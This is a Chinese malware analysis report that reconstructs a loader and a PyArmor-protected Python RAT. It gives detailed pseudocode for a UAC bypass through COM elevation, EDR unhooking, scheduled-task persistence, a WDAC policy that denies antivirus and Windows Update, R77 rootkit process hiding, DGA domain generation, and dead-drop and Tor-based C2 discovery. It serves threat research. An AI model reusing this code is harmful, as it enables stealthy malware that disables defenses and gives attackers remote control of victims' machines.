获取当前用户名后查询其权限级别,判断 usri1_priv 是否为 USER_PRIV_ADMIN 以确认域管理员身份:
GetUserNameW(sz_user_name, &pcb_buffer);
if ( NetUserGetInfo(NULL, sz_user_name, 1, &p_buf) )
return FALSE;
is_admin = (p_buf->usri1_priv == USER_PRIV_ADMIN); // usri1_priv == 2 即为域管理员
NetApiBufferFree(p_buf);
return is_admin;
COM Elevation 提权
若不以域管理员身份运行,先执行安全检查和 PEB 脱钩移除 AV/EDR 钩子,构建 "" -relaunched 命令行,通过 CoGetObject 获取 ICMLuaUtil 提权 COM 对象(CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}),以 conhost.exe 为父进程伪装,调用 ICMLuaUtil::ShellExec 以 SYSTEM 身份重启自身:
if ( !PreElevationSafetyCheck() )
return ShellExecRunasFallback();
GetModuleFileNameW(NULL, sz_self, MAX_PATH);
// 构建命令行: "<self_path>" -relaunched
// XOR({0x66,0x79,0x77,0x6F}) → "\"" + "<self_path>" + "\" -relaunched"
PebNtdllUnhooking(); // PEB脱钩: 替换 ntdll.dll 映射
// Moniker: Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
// XOR({0x66,0x79,0x77,0x6F}) → "Elevation:Administrator!new:"
CoInitialize(NULL);
CoGetObject(sz_moniker, &bind_opts, &iid, &p_elev_obj);
// ICMLuaUtil::ShellExec(vtable+0x48)
// 父进程伪装: XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\system32\conhost.exe"
(*(void (__fastcall **)(void *, WCHAR *, WCHAR *, ...))
(p_elev_obj->vtable + 72))(p_elev_obj, g_conhost, sz_cmdline, 0, 0, 0);
PreElevationSafetyCheck 安全检查
提权前检查 UAC 策略(ConsentPromptBehaviorAdmin 为 2 则放弃),并验证 Bitdefender 和 Kaspersky 安装目录是否已清除——任一尚存则拒绝 COM 提权以防被安全软件拦截:
// XOR({0x66,0x79,0x77,0x6F}) → "ConsentPromptBehaviorAdmin"
// XOR({0x66,0x79,0x77,0x6F}) → "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
RegGetValueW(HKEY_LOCAL_MACHINE, psz_key, g_consent,
RRF_RT_DWORD, NULL, &pv_data, &cb_data);
if ( pv_data == 2 )
return FALSE; // UAC 自动拒绝提权
// 检查 Bitdefender 和 Kaspersky 目录是否仍存在
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Bitdefender"
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files (x86)\Kaspersky"
attr = GetFileAttributesW(g_bd_dir);
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
return FALSE; // Bitdefender 仍安装, 拒绝提权
attr = GetFileAttributesW(g_kasp_dir);
return (attr == INVALID_FILE_ATTRIBUTES || !(attr & FILE_ATTRIBUTE_DIRECTORY));
runas 回退方案
COM 提权失败时的回退方案——复制自身到 %LOCALAPPDATA%\Microsoft\WindowsApps\ 目录下,以 conhost.exe 为父进程伪装,通过 runas 动词启动副本:
// 复制自身到 %LOCALAPPDATA%\Microsoft\WindowsApps\
SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, sz_dest);
// XOR({0x66,0x79,0x77,0x6F}) → "\Microsoft\WindowsApps\"
WideStrConcatHelper(sz_dest, MAX_PATH, g_winapps_suffix);
CopyFileW(sz_self, sz_dest, FALSE);
is_domain_admin = IsDomainAdmin();
// XOR({0x66,0x79,0x77,0x6F}) → "runas"
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\System32\conhost.exe"
exec_info.lpVerb = g_verb_runas;
exec_info.lpFile = g_conhost_path; // 父进程伪装为 conhost.exe
exec_info.nShow = SW_HIDE;
if ( is_domain_admin )
// 域管理员专用参数(已预置并 XOR 解密)
WideStrConcatHelper(sz_params, MAX_PATH, g_admin_params);
else
{
WideStrConcatHelper(sz_params, MAX_PATH, sz_dest);
// XOR({0x66,0x79,0x77,0x6F}) → " -hy"
WideStrConcatHelper(sz_params, MAX_PATH, g_hy_params);
}
exec_info.lpParameters = sz_params;
ShellExecuteExW(&exec_info);
步骤 9-11:Python 3.14 静默安装、依赖库安装与 PyArmor 运行时部署
提取自身 PE 中的 PYTHON314_INSTALLER MSI 资源(XOR 解密资源名后获取)写入系统临时目录:
// XOR({0x66,0x79,0x77,0x6F}) → "Installer-5F90E1A6" (互斥体)
CreateMutexW(NULL, FALSE, g_install_mutex);
// XOR({0x66,0x79,0x77,0x6F}) → "PYTHON314_INSTALLER"
h_res = FindResourceW(h_self, g_res_name, RT_RCDATA);
// XOR({0x66,0x79,0x77,0x6F}) → "tmp"
GetTempFileNameW(sz_temp_dir, g_tmp_prefix, 0, sz_temp_file);
h_file = CreateFileW(sz_temp_file, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(h_file, p_res_data, res_size, NULL, NULL);
CloseHandle(h_file);
先以 /quiet /uninstall 移除已有 Python,再以完整安装参数静默重装,根据管理员身份决定 InstallAllUsers 选项:
// 反安装: XOR({0x66,0x79,0x77,0x6F}) → " /quiet /uninstall"
WideStrConcatHelper(sz_cmdline, MAX_PATH * 2, sz_temp_file);
WideStrConcatHelper(sz_cmdline, MAX_PATH * 2, g_uninst_args);
CreateProcessW(NULL, sz_cmdline, ...);
WaitForSingleObject(pi.hProcess, 300000);
// 安装: XOR({0x66,0x79,0x77,0x6F}) →
// " /quiet Include_tcltk=0 Include_test=0 Include_doc=0 Shortcuts=0 AppendPath=1"
WideStrConcatHelper(sz_install_cmd, MAX_PATH * 2, sz_temp_file);
WideStrConcatHelper(sz_install_cmd, MAX_PATH * 2, g_inst_args);
// 根据管理员身份追加 InstallAllUsers=1 或 0 (均 XOR 解密)
if ( is_admin )
WideStrConcatHelper(sz_install_cmd, MAX_PATH * 2, g_allusers_1); // → " InstallAllUsers=1"
else
WideStrConcatHelper(sz_install_cmd, MAX_PATH * 2, g_allusers_0); // → " InstallAllUsers=0"
CreateProcessW(NULL, sz_install_cmd, ...);
WaitForSingleObject(pi.hProcess, 300000);
DeleteFileW(sz_temp_file);
定位 Python 安装目录后,拼接 pythonw.exe 以长重试参数安装依赖库:
// 路径定位优先级: "C:\Program Files\Python314" → 管理员备选 → "%Startup%\..\Programs\Python\Python314"
if ( PathFileExistsW(g_py_default) )
WideStrConcatHelper(sz_python_dir, MAX_PATH, g_py_default);
else if ( is_admin )
WideStrConcatHelper(sz_python_dir, MAX_PATH, g_py_admin);
else
WideStrConcatHelper(sz_python_dir, MAX_PATH, sz_py_path);
// 拼接 pip install 命令:
// "<python_dir>\pythonw.exe -m pip install --timeout 30 --retries 99999 -U
// pywin32 cryptography msvc-runtime gevent requests requests[socks]"
WideStrConcatHelper(sz_pip_cmd, MAX_PATH * 2, sz_python_dir);
p_pip_args = DecryptPipInstallArgs(); // XOR 解密 pip install 参数
WideStrConcatHelper(sz_pip_cmd, MAX_PATH * 2, p_pip_args);
CreateProcessW(NULL, sz_pip_cmd, ...);
WaitForSingleObject(pi.hProcess, 300000);
注意:
--retries 99999确保在网络不稳定环境下持续重试,最大化依赖安装成功率。
从自身 PE 依次提取 BIN1/BIN2/BIN3 三组加密资源,用 5 字节密钥 "fywo\0"(末尾隐含 \0)逐字节 XOR 解密后,分别写入 Python 安装目录下的三个 PyArmor 运行时文件:
| 资源名 | 解密密钥 | 输出文件 | 用途 |
|---|---|---|---|
| BIN1 | "fywo\0" |
\Lib\runtime.py |
PyArmor 加密的 Python RAT 主程序 |
| BIN2 | "fywo\0" |
\Lib\pyarmor_runtime_000000\__init__.py |
PyArmor 运行时初始化脚本 |
| BIN3 | "fywo\0" |
\Lib\pyarmor_runtime_000000\pyarmor_runtime.pyd |
PyArmor 运行时原生模块 |
key[5] = "fywo"; // 5 字节 XOR 密钥 (含末尾 \0)
// ===== BIN1 → \Lib\runtime.py =====
// XOR({0x66,0x79,0x77,0x6F}) → "BIN1"
p_bin1 = LockResource(LoadResource(h_self, FindResourceW(h_self, g_bin1_name, RT_RCDATA)));
for ( i = 0; i < size1; i++ )
p_bin1[i] ^= key[i % 5]; // 5 字节循环 XOR 解密
// XOR({0x66,0x79,0x77,0x6F}) → "\Lib\runtime.py"
h_file1 = CreateFileW(sz_out, ..., CREATE_ALWAYS, ...);
WriteFile(h_file1, p_bin1, size1, ...);
// ===== BIN2 → \Lib\pyarmor_runtime_000000\__init__.py =====
// XOR({0x66,0x79,0x77,0x6F}) → "BIN2"、"\Lib\pyarmor_runtime_000000"、"\__init__.py"
CreateDirectoryW(sz_dir, NULL); // 创建子目录
// ... (同上: XOR 解密 BIN2 资源 → 写入 __init__.py) ...
// ===== BIN3 → \Lib\pyarmor_runtime_000000\pyarmor_runtime.pyd =====
// XOR({0x66,0x79,0x77,0x6F}) → "BIN3"、"\pyarmor_runtime.pyd"
// ... (同上: XOR 解密 BIN3 资源 → 写入 pyarmor_runtime.pyd) ...
说明:
pyarmor_runtime_000000是 PyArmor 8+ 的标准运行时目录命名格式。三个文件共同构成 PyArmor 混淆运行时环境,使 Python RAT 可在目标机器上解密执行。
步骤 12-13:计划任务持久化与 Python RAT 启动
通过 COM 接口(CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD})创建 Python 安装器对象,配置计划任务触发器——间隔5分钟、999 次重复、"PT0S" 即时启动:
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
// CoCreateInstance: CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
CoCreateInstance(&CLSID_PythonInstaller, NULL, CLSCTX_LOCAL_SERVER, ..., &p_installer);
p_installer->vtable[80 / 8](p_installer, &var1, &var2, &var3, &var4);
// XOR({0x66,0x79,0x77,0x6F}) → "\"
p_installer->vtable[56 / 8](p_installer, SysAllocString(g_backslash), &p_child);
// XOR({0x66,0x79,0x77,0x6F}) → "Python"
p_child->vtable[72 / 8](p_child, SysAllocString(g_py_component), &p_child2);
// 配置触发器: XOR({0x66,0x79,0x77,0x6F}) → "PT5M" 间隔, 999 次重复, "PT0S" 即时启动
p_trigger->vtable[80 / 8](p_trigger, SysAllocString(g_pt5m)); // put_Id("PT5M")
p_trigger->vtable[96 / 8](p_trigger, 999); // put_RepetitionCount
p_trigger->vtable[224 / 8](p_trigger, SysAllocString(g_pt0s)); // put_StartBoundary("PT0S")
根据管理员标志配置动作类型和登录方式(管理员 → COM Handler + 交互用户;非管理员 → EXEC + S4U),通过 GetUserNameW 设置 S4U 运行身份:
if ( is_admin )
{
p_action->vtable[144 / 8](p_action, TASK_ACTION_COM_HANDLER);
logon_type = 8; // 交互用户
}
else
{
p_action->vtable[112 / 8](p_action, TASK_ACTION_EXEC);
logon_type = 9; // S4U (服务账户)
}
if ( logon_type == 9 ) // S4U: 需设置运行身份
{
GetUserNameW(sz_user, &cb_user);
p_settings->vtable[184 / 8](p_settings, SysAllocString(sz_user));
}
拼接 pythonw.exe 完整路径作为执行程序,runtime.py 路径为命令行参数,注册名为 "PyRuntime_5F90E1A6" 的计划任务(伪装为 Python 运行时更新),并立即执行:
// 构建执行路径: "<python_dir>\pythonw.exe"
// XOR({0x66,0x79,0x77,0x6F}) → "\pythonw.exe"
WideStrConcatHelper(sz_exe_path, MAX_PATH, sz_python_dir);
WideStrConcatHelper(sz_exe_path, MAX_PATH, g_pyw);
p_child_folder->vtable[88 / 8](p_child_folder, SysAllocString(sz_exe_path));
// 构建命令行参数: "\"<runtime.py路径>\""
WideStrConcatHelper(sz_args, MAX_PATH * 2, g_lquote); // XOR → "\""
WideStrConcatHelper(sz_args, MAX_PATH * 2, sz_runtime_py);
WideStrConcatHelper(sz_args, MAX_PATH * 2, g_rquote); // XOR → "\""
p_child_folder->vtable[104 / 8](p_child_folder, SysAllocString(sz_args));
// RegisterTaskDefinition: XOR({0x66,0x79,0x77,0x6F}) → "PyRuntime_5F90E1A6"
p_folder_iface->vtable[136 / 8](p_folder_iface, SysAllocString(g_task_name),
p_task_def, 6, &login_vars, &pwd_vars, logon_type, &result_var);
// 立即执行已注册的计划任务
IRegisteredTask->vtable[96 / 8](p_reg_task, &run_var, &p_run_result);
最后在 HKCU\SOFTWARE\Python 下写入两个加密 BLOB 持久化值(值名经过 XOR 解密):
// XOR({0x66,0x79,0x77,0x6F}) → "SOFTWARE\Python"
RegCreateKeyExW(HKEY_CURRENT_USER, g_py_reg, ..., &h_key, ...);
// BLOB 1: 1006 字节, XOR 解密后以 REG_SZ 写入
for ( m = 0; m < 0x1F7; m++ )
g_blob1[m] ^= g_fywo_key[m & 3];
// XOR({0x66,0x79,0x77,0x6F}) → "CC1C7D3B6737F0"
RegSetValueExW(h_key, g_val1, 0, REG_SZ, g_blob1, 0x800);
// BLOB 2: 512 字节, XOR 解密后写入
// XOR({0x66,0x79,0x77,0x6F}) → "CB3942076F2DE33B29B6"
RegSetValueExW(h_key, g_val2, 0, REG_SZ, g_blob2, 0x200);
RegCloseKey(h_key);
WDAC 策略文件分析
以下分析 BIN5 资源释放的 .cip 策略文件——它是第二阶段 AV 对抗的关键组成部分,通过 WDAC(Windows Defender Application Control)机制批量封杀安全产品。
| 字段 | 内容 |
|---|---|
| 文件大小 | 12 KB |
| 文件MD5 | 837f0ce78ed038ff3e8f9ee5e5fb7a0a |
| 主要功能 | 通过 60+ 条 Deny 规则批量封杀杀软、安全中心及 Windows Update |
策略基础配置:Base Policy 类型,版本 1.0.3.15,策略名伪装为 AllowAll,ID 为 {31351756-3F24-4963-8380-4E7602335AAE}(与投递路径中的文件名 UUID 一致):
<SiPolicy PolicyType="Base Policy" xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>1.0.3.15</VersionEx>
<PolicyID>{31351756-3F24-4963-8380-4E7602335AAE}</PolicyID>
<BasePolicyID>{31351756-3F24-4963-8380-4E7602335AAE}</BasePolicyID>
<PlatformID>{2e07f7e4-194c-4d20-b7c9-6f44a6c5a234}</PlatformID>
Allow 通配符规则:两条 Allow 规则使用 * 通配符允许所有可执行文件运行,为后续 Deny 规则提供掩护,避免策略因过度封杀被用户察觉:
<Allow ID="ID_ALLOW_A_019E3A2E49847852AD436A63E6E6BF75" FileName="*" />
<Allow ID="ID_ALLOW_A_019E3A2E498473A19AC388EDCB698BA1" FileName="*" />
安全策略选项:
| 选项 | 含义 | 攻击价值 |
|---|---|---|
Enabled:UMCI |
启用用户模式代码完整性 | 所有 Deny 规则作用于用户态 |
Disabled:Script Enforcement |
禁用脚本强制 | PowerShell 等脚本不受限制,恶意脚本可自由执行 |
Enabled:Update Policy No Reboot |
启用无需重启更新策略 | 攻击者可静默追加恶意规则 |
Deny 规则汇总:60 条 Deny 规则覆盖 5 大类安全产品。以下按目标分类汇总:
| 安全软件 | 规则数 | 规则示例 |
|---|---|---|
| Avira(小红伞) | 6 | Fallback Updater, Optimizer Host, Security, System Speedup, VPN, Endpoint Protection SDK |
| Avast Software | 11 | afwServ, aswEngSrv, aswidsagent, aswToolsSvc, AvastSvc, AvastUI, AvEmUpdate, wsc_proxy, Icarus, Overseer |
| AVG Antivirus | 1 | AVG\Antivirus*.exe |
| Windows Defender | 6 | MpCmdRun, MsMpEng, MpDefenderCoreService(含 Platform 更新目录) |
| Windows 安全中心 | 6 | SecurityHealthHost, SecurityHealthService, SecurityHealthSystray(路径 + 文件名双重匹配) |
| Windows Update | 6 | wuauclt, wusa, usocoreworker, MoUsoCoreWorker, MoNotificationUx, wuaucltcore |
| 第三方安全工具 | 14 | HitmanPro, Farbar Recovery Scan Tool, Kaspersky Virus Removal Tool(通过 ProductName / FileDescription / FileName 三种维度匹配) |
签名场景配置:用户模式(UMCI, Value=12)关联全部 62 条规则(2 Allow + 60 Deny),内核模式(KMCI, Value=131)仅关联 1 条 Allow 规则——所有 Deny 仅作用于用户态,驱动层未被限制:
<SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS"
FriendlyName="User Mode Code Integrity" MinimumHashAlgorithm="0">
<ProductSigners>
<FileRulesRef>
<!-- 62 条规则引用:2 Allow + 60 Deny -->
</FileRulesRef>
</ProductSigners>
</SigningScenario>
<SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1"
FriendlyName="Kernel Mode Code Integrity" MinimumHashAlgorithm="0">
<ProductSigners>
<FileRulesRef>
<FileRuleRef RuleID="ID_ALLOW_A_019E3A2E49847852AD436A63E6E6BF75" />
</FileRulesRef>
</ProductSigners>
</SigningScenario>
策略元数据:启用企业定义 CLSID,策略名伪装 AllowAll,策略编号 022422:
<Settings>
<Setting Provider="PolicyInfo" Key="Information" ValueName="Name">
<Value><String>AllowAll</String></Value>
</Setting>
<Setting Provider="PolicyInfo" Key="Information" ValueName="Id">
<Value><String>022422</String></Value>
</Setting>
<Setting Provider="AllHostIds" Key="AllKeys" ValueName="EnterpriseDefinedClsId">
<Value><Boolean>true</Boolean></Value>
</Setting>
</Settings>
第三阶段:Python RAT (runtime.py)
基本信息
| 字段 | 内容 |
|---|---|
| 原始文件名 | runtime.py |
| 文件大小 | 142 KB |
| 文件MD5 | 626803a57697acedc578e93232d9a482 |
| 文件类型 | Python(PyArmor 8+ 加密保护) |
| 主要功能 | 具备 C2 通信、文件上传、远程命令执行的 Python RAT 木马 |
分析方法说明:通过结合大模型语义分析能力与逆向工程工具,对 PyArmor 加密的 Python 脚本进行逻辑结构还原。以下为关键函数伪代码及其执行流程说明。
入口与基础守卫
main() 入口先做 OS 白名单检查——非 Windows/Linux 直接 sys.exit(0)。随后创建全局互斥体。样本内置 4 个核心种子 SEEDS = ["0C3C1D37", "GYWVqOW2", "Mp2AmRD8", "Chahgh4a"],具有四重用途——互斥体名、RC4 加密密钥、DGA 域名生成种子、Campaign 标识符。互斥体名取 SEEDS[0] 拼接为 Global\0C3C1D37 确保单实例运行,不同攻击活动更换种子即可避开基于固定互斥体名的检测。
| 种子 | 用途 |
|---|---|
SEEDS[0] = "0C3C1D37" |
互斥体名、DGA 路径生成、Campaign ID |
SEEDS[1] = "GYWVqOW2" |
RC4 加密密钥(配置存储) |
SEEDS[2] = "Mp2AmRD8" |
DGA 域名生成种子 2 |
SEEDS[3] = "Chahgh4a" |
DGA 域名生成种子 3 |
Windows 用 CreateMutexW + 检查 ERROR_ALREADY_EXISTS(183),Linux 用 fcntl.flock 对 /tmp/.0C3C1D37.lock 加排他锁:
def _create_mutex() -> bool:
mutex_name = f"Global\\{SEEDS[0]}" # "Global\0C3C1D37"
if platform.system() == "Windows":
kernel32 = windll.kernel32
handle = kernel32.CreateMutexW(None, True, mutex_name)
return kernel32.GetLastError() != 183 # ERROR_ALREADY_EXISTS
else:
lock_path = f"/tmp/.{SEEDS[0]}.lock" # "/tmp/.0C3C1D37.lock"
_LOCK_FD = os.open(lock_path, os.O_CREAT | os.O_RDWR, 0o600)
try:
fcntl.flock(_LOCK_FD, fcntl.LOCK_EX | fcntl.LOCK_NB)
return True
except (IOError, BlockingIOError):
return False
配置存储(RC4 加密)
从本地加密存储中恢复 Bot 身份(BOT_ID、BOT_PASS)和已知 C2 地址(C2_BASE_URL)。RC4 密钥取 SEEDS[1]("GYWVqOW2"),键名和值均 RC4 加密后 hex 编码存储——Windows 藏在 HKCU\SOFTWARE\Python\ 下,Linux 藏在 ~/.local/share/ 下以 . 开头的隐藏文件中。配置项分散在正常系统路径下,不以独立目录/文件聚集,降低被专用扫描工具发现的概率。
def rc4(key, data):
if isinstance(key, str):
key = key.encode("utf-8")
if isinstance(data, str):
data = data.encode("utf-8")
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = j = 0
result = bytearray(len(data))
for idx, byte in enumerate(data):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
result[idx] = byte ^ s[(s[i] + s[j]) & 0xFF]
return bytes(result)
配置读写删三个函数统一使用 RC4 加密键名和值后 hex 编码存储:
def write_config_value(key: str, value: str) -> None:
enc_key = rc4(CONFIG_RC4_KEY, key.encode()).hex()
enc_val = rc4(CONFIG_RC4_KEY, value.encode()).hex()
if platform.system() == "Windows":
reg = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"SOFTWARE\Python", 0, winreg.KEY_WRITE)
winreg.SetValueEx(reg, enc_key, 0, winreg.REG_SZ, enc_val)
winreg.CloseKey(reg)
else:
base_dir = os.path.expanduser("~/.local/share")
os.makedirs(base_dir, exist_ok=True)
config_path = os.path.join(base_dir, "." + enc_key)
with open(config_path, "w") as f:
f.write(enc_val)
| 平台 | 存储位置 | 键名格式 | 值格式 |
|---|---|---|---|
| Windows | HKCU\SOFTWARE\Python\ |
RC4_HEX(key) |
REG_SZ: RC4_HEX(value) |
| Linux | ~/.local/share/. |
.{RC4_HEX(key)} |
纯文本文件:RC4_HEX(value) |
| 键名 | 用途 |
|---|---|
BotID |
C2 分配的唯一 Bot 标识 |
BotPass |
C2 分配的认证密码 |
C2 / C2List |
已知的 C2 服务器 URL |
CampaignID |
活动标识符(0C3C1D37) |
DDRList |
DGA 域名列表缓存 |
PollInterval |
C2 轮询间隔(秒) |
R77 Rootkit 进程隐藏
配置加载后,在 Windows 平台调用 r77_hide_self,利用 R77 Rootkit 的内核级挂钩使进程在任务管理器、tasklist、WMI 等用户态枚举中不可见。先 sleep(3) 等驱动就绪,再清理含 $77config 的旧键防止残留暴露,将当前 PID 以混淆值名 "uaMb" 写入 HKCU\SOFTWARE\$77config\pid(注册表路径 R77_PID_KEY),通知 R77 驱动隐藏目标。成功后设置全局标志 R77_HIDE_OK = True:
def r77_hide_self() -> None:
global R77_HIDE_OK
if platform.system() != "Windows":
return
time.sleep(3)
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "SOFTWARE", 0, winreg.KEY_READ)
num_subkeys = winreg.QueryInfoKey(key)[0]
for i in range(num_subkeys):
subkey_name = winreg.EnumKey(key, i)
if "$77config" in subkey_name:
winreg.DeleteKey(key, subkey_name)
winreg.CloseKey(key)
pid_key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, R77_PID_KEY)
winreg.SetValueEx(pid_key, "uaMb", 0, winreg.REG_DWORD, os.getpid())
winreg.CloseKey(pid_key)
R77_HIDE_OK = True
双平台持久化
_setup_persistence 安装双平台自启动,Windows 上同时部署 schtasks 计划任务和注册表 Run 键——双重保险确保单一清除手段无法彻底阻断。两者均伪装为 WindowsUpdate,冒充系统更新组件。Linux 以 Cron @reboot + XDG autostart 双路径实现,伪装名 systemd-update / systemd-service。_remove_persistence 提供对应的自清理能力。
| 平台 | 持久化方式 | 伪装名称 | 触发时机 |
|---|---|---|---|
| Windows | schtasks 计划任务 |
WindowsUpdate |
用户登录时(ONLOGON) |
| Windows | 注册表 Run 键 | WindowsUpdate |
用户登录时 |
| Linux | Cron 任务 @reboot |
systemd-update |
系统启动时 |
| Linux | XDG autostart .desktop |
systemd-service.desktop |
用户登录时 |
C2 地址发现(DGA → DDR → Tor 三层回退)
若本地没有已知 C2 地址,进入地址发现阶段。首选 DGA 方案——以 Google HTTP Date 响应头作为时间基准(失败回退本地 UTC),确保生成域名与 C2 服务器注册域名的日期对齐。
def get_internet_date() -> datetime:
try:
req = urllib.request.Request("http://www.google.com")
req.get_method = lambda: "HEAD"
with urllib.request.urlopen(req, timeout=5) as resp:
date_str = resp.getheader("Date")
if date_str:
return datetime.strptime(date_str, "%a, %d %b %Y %H:%M:%S %Z")
except Exception:
pass
return datetime.utcnow()
两种 DDR 路径生成算法用于在不同平台上定位 C2 地址发布的页面。path_from_date 用 SHA256 + Base62 编码,dga_path_suffix 基于 ISO 日历周——后者提供备用的时间维度,即使日级路径被关停,周级路径仍可能存活:
def path_from_date(dt: datetime) -> str:
date_str = dt.strftime("%Y%m%d")
h = hashlib.sha256(f"{SEEDS[0]}{date_str}".encode()).digest()
b62 = base62_encode(h)
return f"/{b62[:2]}{dt.strftime('%y')}-{dt.strftime('%m')}-{dt.strftime('%d')}"
def dga_path_suffix(dt: datetime) -> str:
iso_year, iso_week, _ = dt.isocalendar()
seed_hash = hashlib.sha256(
f"{SEEDS[0]}{iso_year}{iso_week:02d}".encode()
).hexdigest()
return f"/{iso_year}/{iso_week:02d}/{seed_hash[:8]}.php"
domains_from_date 用 SHA256 对每个种子 + 日期生成子域名(取前 12 字符),搭配 14 个 DGA TLD(top, cfd, sbs, lat, win, cyou, xyz, icu, casa, site, space, com, net, org)中的前 5 个,单日产出 20 个域名,±3 天窗口共 140 个候选——攻击者只需注册其中少数几个即可确保 Bot 找到 C2,而防御者无法提前封堵全部候选:
def domains_from_date(dt: datetime, tlds: list = None) -> list:
if tlds is None:
tlds = DGA_TLDS
date_str = dt.strftime("%Y%m%d")
domains = []
for seed in SEEDS:
h = hashlib.sha256(f"{seed}{date_str}".encode()).hexdigest()
for tld in tlds[:5]:
domains.append(f"{h[:12]}.{tld}")
return domains
try_connect_via_dga 遍历全部候选域名 × 两种协议 × 三种访问端点(两种 DDR 路径 + /api/status),任一成功即返回。140 个域名 × 3 个端点 × 2 个协议,单轮最多 840 次尝试:
def try_connect_via_dga() -> tuple:
today = get_internet_date()
for day_offset in [0, -1, 1, -2, 2, -3, 3]:
dt = today + timedelta(days=day_offset)
domains = domains_from_date(dt)
for domain in domains:
for scheme in ["https://", "http://"]:
url = f"{scheme}{domain}"
try:
response = _fetch_ddr_page(f"{url}{path_from_date(dt)}")
if response:
for parser in [read_telegraph_ddr, read_rentry_ddr,
read_tor_ddr, read_plain_ddr]:
c2_addr = parser(response)
if c2_addr:
return (c2_addr, domain)
response = _fetch_ddr_page(f"{url}{dga_path_suffix(dt)}")
if response:
for parser in [read_plain_ddr, read_telegraph_ddr]:
c2_addr = parser(response)
if c2_addr:
return (c2_addr, domain)
resp = _fetch_url(f"{url}/api/status", timeout=5)
if resp:
return (url, domain)
except Exception:
continue
return (None, None)
DGA 全量失败后,main() 回退到 DDR(Dead Drop Resolver)——从公开匿名平台提取攻击者埋藏的 C2 地址。DDR 与 DGA 形成正交的双通道——DGA 依赖域名注册,DDR 依赖第三方内容平台,两者不会同时被封禁。C2 地址解码时遍历 8 个 RC4 密钥——SEEDS(4 个)合并 OBFUSC_KEYS(["XNeWs4I", "e55gegnW", "RjWN0Y9m", "AemOU1co"],4 个回退密钥),成功解出含 . 或 : 的结果即视为有效域名/IP:
def _decode_c2_address(encoded: str) -> str:
try:
decoded = base62_decode(encoded.strip())
except Exception:
return None
for key in SEEDS + OBFUSC_KEYS:
try:
result = rc4(key, decoded)
result_str = result.decode("utf-8", errors="ignore")
if "." in result_str or ":" in result_str:
return result_str
except Exception:
continue
return decoded.decode("utf-8", errors="ignore")
四种 DDR 解析器各针对不同平台的页面结构定制提取逻辑,攻击者不依赖单一平台或单一解析方式:
| 解析器 | 目标平台 | 提取策略 |
|---|---|---|
read_telegraph_ddr |
Telegra.ph | <!--c2-->...<!--/c2--> 注释标记;<p> 标签内容 |
read_rentry_ddr |
Rentry.co/org | 行首 c2: 或 ddr: 标识;<title> 标签内容 |
read_plain_ddr |
paste.ee 等 | 整个响应体作为 Base62 字符串直接解码 |
read_tor_ddr |
.onion 站点 | 下载部署 Tor → SOCKS5h 代理 → 访问暗网 DDR |
get_c2_from_ddr 执行三层递进式解析——从快速首页探测到暴力日期枚举再到 Tor 暗网回退,每层失败后才进入下一层,平衡速度与覆盖率。收集到的 C2 地址经去重验证后随机选取一个返回。
Tor 暗网回退:第 3 层 read_tor_ddr 是成本最高也最难封堵的通道——当 DGA 和常规 DDR 平台均被封锁时,攻击者仍可通过 Tor 暗网向 Bot 下发新 C2 地址。样本自动下载 Tor Expert Bundle v15.0.11(硬编码 URL + SHA256 校验防止供应链投毒),启动 tor 进程等待 100% 引导完成标志,通过 socks5h://127.0.0.1:9050 代理访问 .onion 暗网站点上的 DDR 页面。获取地址后立即 terminate() 清理 Tor 进程:
def read_tor_ddr(data: bytes = None) -> str:
if data is not None:
# 直接解析 .onion 地址(正则 [a-z2-7]{56}.onion)
return
tor_url = TOR_URL_WIN if is_windows else TOR_URL_LINUX
tor_hash = TOR_HASH_WIN if is_windows else TOR_HASH_LINUX
if not os.path.exists(tor_exe):
success = download_verify(tor_url, tor_archive, tor_hash, retries=3)
if not success:
return None
os.makedirs(tor_extract, exist_ok=True)
shutil.unpack_archive(tor_archive, tor_extract)
tor_proc = subprocess.Popen([tor_exe], stdout=PIPE, stderr=STDOUT, text=True)
for line in tor_proc.stdout:
if "100%" in line:
break
proxies = {"http": "socks5h://127.0.0.1:9050",
"https": "socks5h://127.0.0.1:9050"}
for ddr_url in DDR_URLS:
resp = requests.get(ddr_url, proxies=proxies, timeout=30)
for parser in [read_telegraph_ddr, read_rentry_ddr, read_plain_ddr]:
addr = parser(resp.content)
if addr:
tor_proc.terminate()
return addr
tor_proc.terminate()
return None
C2 通信循环
C2 地址到手后,main() 将其赋给全局变量 C2_BASE_URL 并持久化,然后创建 daemon 线程运行 wait_for_c2——Bot 的核心通信循环状态机:
def wait_for_c2() -> None:
global C2_BASE_URL, SESSION_KEY
poll_interval = DEFAULT_POLL_INTERVAL # 60s
consecutive_fails = 0
while True:
try:
if not C2_BASE_URL:
c2_url, _ = try_connect_via_dga()
if not c2_url:
C2_BASE_URL = get_c2_from_ddr()
if C2_BASE_URL and not C2_BASE_URL.startswith("http"):
C2_BASE_URL = "https://" + C2_BASE_URL
else:
C2_BASE_URL = c2_url
if not SESSION_KEY:
SESSION_KEY = exchange_aes_key()
if not POLLED:
BOT_ID, BOT_PASS = new_bot()
poll_and_execute()
consecutive_fails = 0
poll_interval = DEFAULT_POLL_INTERVAL
except Exception:
consecutive_fails += 1
